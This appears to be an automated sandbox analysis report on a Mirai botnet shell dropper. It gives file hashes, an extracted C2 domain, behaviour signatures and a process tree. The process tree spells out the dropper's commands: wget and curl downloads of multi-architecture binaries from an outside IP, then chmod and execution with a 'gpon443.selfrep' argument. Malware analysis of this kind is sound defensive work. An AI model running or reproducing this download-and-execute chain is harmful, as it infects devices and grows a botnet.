Analysis

  • max time kernel
    136s
  • max time network
    138s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18-12-2024 03:24

General

  • Target

    cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh

  • Size

    2KB

  • MD5

    3353f8a64ea508bd5c60d37ceb969029

  • SHA1

    76e89e8ff766848e4fedb227cb08e6edb05ce819

  • SHA256

    cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170

  • SHA512

    1bbc390f95f9313f77c52927f55ada829e8290d5978e27b0d0a284236ac5fedcbc7ac9426573488edcfdb37b7b61ee7f35f31d5761c2887689856d32666b2207

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

C2

servers.vlrt-gap.com

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

C2

servers.vlrt-gap.com

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 13 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • Changes its process name 1 IoCs
  • Reads runtime system information 13 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh
    /tmp/cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh
    1⤵
    • Writes file to tmp directory
    PID:708
    • /usr/bin/wget
      wget http://185.196.11.47/zmap.x86
      2⤵
      • Writes file to tmp directory
      PID:711
    • /usr/bin/curl
      curl -O http://185.196.11.47/zmap.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:730
    • /bin/cat
      cat zmap.x86
      2⤵
        PID:736
      • /bin/chmod
        chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:737
      • /tmp/WTH
        ./WTH gpon443.selfrep
        2⤵
        • Executes dropped EXE
        PID:738
      • /usr/bin/wget
        wget http://185.196.11.47/zmap.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:741
      • /usr/bin/curl
        curl -O http://185.196.11.47/zmap.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:743
      • /bin/cat
        cat zmap.mips
        2⤵
        • System Network Configuration Discovery
        PID:744
      • /bin/chmod
        chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.mips zmap.x86
        2⤵
        • File and Directory Permissions Modification
        PID:745
      • /tmp/WTH
        ./WTH gpon443.selfrep
        2⤵
        • Deletes itself
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Changes its process name
        PID:746
      • /usr/bin/wget
        wget http://185.196.11.47/zmap.mpsl
        2⤵
        • Writes file to tmp directory
        PID:749
      • /usr/bin/curl
        curl -O http://185.196.11.47/zmap.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:750
      • /bin/cat
        cat zmap.mpsl
        2⤵
          PID:751
        • /bin/chmod
          chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.mips zmap.mpsl zmap.x86
          2⤵
          • File and Directory Permissions Modification
          PID:752
        • /tmp/WTH
          ./WTH gpon443.selfrep
          2⤵
          • Executes dropped EXE
          PID:753
        • /usr/bin/wget
          wget http://185.196.11.47/zmap.arm
          2⤵
          • Writes file to tmp directory
          PID:755
        • /usr/bin/curl
          curl -O http://185.196.11.47/zmap.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:756
        • /bin/cat
          cat zmap.arm
          2⤵
            PID:757
          • /bin/chmod
            chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.mips zmap.mpsl zmap.x86
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/WTH
            ./WTH gpon443.selfrep
            2⤵
            • Executes dropped EXE
            PID:759
          • /usr/bin/wget
            wget http://185.196.11.47/zmap.arm5
            2⤵
            • Writes file to tmp directory
            PID:761
          • /usr/bin/curl
            curl -O http://185.196.11.47/zmap.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:762
          • /bin/cat
            cat zmap.arm5
            2⤵
              PID:771
            • /bin/chmod
              chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
              2⤵
              • File and Directory Permissions Modification
              PID:773
            • /tmp/WTH
              ./WTH gpon443.selfrep
              2⤵
              • Executes dropped EXE
              PID:774
            • /usr/bin/wget
              wget http://185.196.11.47/zmap.arm6
              2⤵
              • Writes file to tmp directory
              PID:777
            • /usr/bin/curl
              curl -O http://185.196.11.47/zmap.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:784
            • /bin/cat
              cat zmap.arm6
              2⤵
                PID:791
              • /bin/chmod
                chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
                2⤵
                • File and Directory Permissions Modification
                PID:793
              • /tmp/WTH
                ./WTH gpon443.selfrep
                2⤵
                • Executes dropped EXE
                PID:795
              • /usr/bin/wget
                wget http://185.196.11.47/zmap.arm7
                2⤵
                • Writes file to tmp directory
                PID:797
              • /usr/bin/curl
                curl -O http://185.196.11.47/zmap.arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:806
              • /bin/cat
                cat zmap.arm7
                2⤵
                  PID:819
                • /bin/chmod
                  chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
                  2⤵
                  • File and Directory Permissions Modification
                  PID:820
                • /tmp/WTH
                  ./WTH gpon443.selfrep
                  2⤵
                  • Executes dropped EXE
                  PID:821
                • /usr/bin/wget
                  wget http://185.196.11.47/zmap.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:824
                • /usr/bin/curl
                  curl -O http://185.196.11.47/zmap.ppc
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:825
                • /bin/cat
                  cat zmap.ppc
                  2⤵
                    PID:826
                  • /bin/chmod
                    chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
                    2⤵
                    • File and Directory Permissions Modification
                    PID:827
                  • /tmp/WTH
                    ./WTH gpon443.selfrep
                    2⤵
                    • Executes dropped EXE
                    PID:828
                  • /usr/bin/wget
                    wget http://185.196.11.47/zmap.m68k
                    2⤵
                    • Writes file to tmp directory
                    PID:830
                  • /usr/bin/curl
                    curl -O http://185.196.11.47/zmap.m68k
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:831
                  • /bin/cat
                    cat zmap.m68k
                    2⤵
                      PID:832
                    • /bin/chmod
                      chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh systemd-private-ab52f9cf623548418d83c40d2a804d62-systemd-timedated.service-nbJJjP WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
                      2⤵
                      • File and Directory Permissions Modification
                      PID:833
                    • /tmp/WTH
                      ./WTH gpon443.selfrep
                      2⤵
                      • Executes dropped EXE
                      PID:834
                    • /usr/bin/wget
                      wget http://185.196.11.47/zmap.spc
                      2⤵
                      • Writes file to tmp directory
                      PID:836
                    • /usr/bin/curl
                      curl -O http://185.196.11.47/zmap.spc
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:837
                    • /bin/cat
                      cat zmap.spc
                      2⤵
                        PID:847
                      • /bin/chmod
                        chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                        2⤵
                        • File and Directory Permissions Modification
                        PID:848
                      • /tmp/WTH
                        ./WTH gpon443.selfrep
                        2⤵
                        • Executes dropped EXE
                        PID:849
                      • /usr/bin/wget
                        wget http://185.196.11.47/zmap.i686
                        2⤵
                          PID:853
                        • /usr/bin/curl
                          curl -O http://185.196.11.47/zmap.i686
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:874
                        • /bin/cat
                          cat zmap.i686
                          2⤵
                            PID:877
                          • /bin/chmod
                            chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.spc zmap.x86
                            2⤵
                            • File and Directory Permissions Modification
                            PID:878
                          • /tmp/WTH
                            ./WTH gpon443.selfrep
                            2⤵
                            • Executes dropped EXE
                            PID:879
                          • /usr/bin/wget
                            wget http://185.196.11.47/zmap.sh4
                            2⤵
                            • Writes file to tmp directory
                            PID:880
                          • /usr/bin/curl
                            curl -O http://185.196.11.47/zmap.sh4
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:881
                          • /bin/cat
                            cat zmap.sh4
                            2⤵
                              PID:882
                            • /bin/chmod
                              chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh WTH zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                              2⤵
                              • File and Directory Permissions Modification
                              PID:883
                            • /tmp/WTH
                              ./WTH gpon443.selfrep
                              2⤵
                              • Executes dropped EXE
                              PID:884
                            • /usr/bin/wget
                              wget http://185.196.11.47/zmap.arc
                              2⤵
                                PID:886
                              • /usr/bin/curl
                                curl -O http://185.196.11.47/zmap.arc
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:887
                              • /bin/cat
                                cat zmap.arc
                                2⤵
                                  PID:888
                                • /bin/chmod
                                  chmod +x cc70ab717dc971f59aa668420b8f678f7bff8dd06719112c3ad4e6b2a5e30170.sh WTH zmap.arc zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.i686 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.sh4 zmap.spc zmap.x86
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:889
                                • /tmp/WTH
                                  ./WTH gpon443.selfrep
                                  2⤵
                                  • Executes dropped EXE
                                  PID:890

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                8ae4ac18a3b34fba963f59a42ff02fb7

                                SHA1

                                e9f75cf21972b2c953163d64d3cb89bd6a93cc1b

                                SHA256

                                c485a846f4b7c5d410762291758175ca0775ca919da52ef05047f3000045020a

                                SHA512

                                af6a9fb41fc94fdb3c1448e2477190f403b14eca2502e93c1ab6a1c8cf0eaada47dedd81df94f15bc6efa8ae29d68f3a6368c67283514c88f3f8e28519bf6bb0

                              • /tmp/WTH

                                Filesize

                                94KB

                                MD5

                                d81e9564b8b9d62d70bda936d927d875

                                SHA1

                                42706a08b0545984ed5a5cfbdff3fe2ab62ca552

                                SHA256

                                c14fead55aee69ec760fdba5f5371922595ad9df3c7201feb088f322043def0d

                                SHA512

                                282a8641c62e67b1bde30e1bfbd991493c38155b6dfdb5406a80d69b7b710bfe27fdbe5571363c3f55e2fbb0a447db3789c5609493e24daef3260c2d87417886

                              • /tmp/WTH

                                Filesize

                                74KB

                                MD5

                                9784e8db8dae548a6593644e3a168579

                                SHA1

                                afa7c4ce4b0122ec5f22dc37aa7658f41cb01008

                                SHA256

                                4278fcf8ef5692822cc5eccce4857b5132f8d029949b83925a7a1e6f5c969129

                                SHA512

                                7f48ae6e910f87f70995c6373083c534670e2f66310e51e8a0b43bc01a31327e33a992b3ad50bc4956e4c9fb3c0845e6ca6aca2dbb014e66487a8338efe2eb6c

                              • /tmp/WTH

                                Filesize

                                49KB

                                MD5

                                241482e2337afd65af97770b37d5c90d

                                SHA1

                                c52137309238b4f1badf1e7bf01197bc48cd00fc

                                SHA256

                                01d39c861837c2f70e59a1e0af94249269813cfa8dc2696d095d36db84fcf7ca

                                SHA512

                                cf3fbd84e7664d26a5cdbec8fb195d28438aca00c62b3428fd6d4c4ab7cb781d5816afa6eb046def918efc73059192683ba313c06fec2231cc6cff8610d29a00

                              • /tmp/WTH

                                Filesize

                                152KB

                                MD5

                                f51e09e21e26b88091e5817482391af9

                                SHA1

                                35ac89537e69e933a9412877638edd2ddaf48195

                                SHA256

                                ff15bf021c5804b34110ecab8a8c86dd399c60b246cb626f536a000b26b27e96

                                SHA512

                                13a46b95db2323015267dd034bde6b2517ea447d091ba7b702aa249ea7172d876156554387b9a5640490b97217f48f843b28f00f65fdc45948a93fbbdb5dd1c3

                              • /tmp/zmap.x86

                                Filesize

                                61KB

                                MD5

                                d1f752879420a6d45d76f130281392d6

                                SHA1

                                46a92c0efae33b8a826dc48daa3dbf3d30be4a15

                                SHA256

                                4fc42ee2d91d577e0bcc49c27d5f3936584ad49c27b5032baa57a6c6e53b4914

                                SHA512

                                91e7beb1157bf75f4e73459eb2ab003005aa591848698451ee6dc79764570bf2d8a253c25dda6346b657367844048cd21be38b6485d169e373e8455b2d586225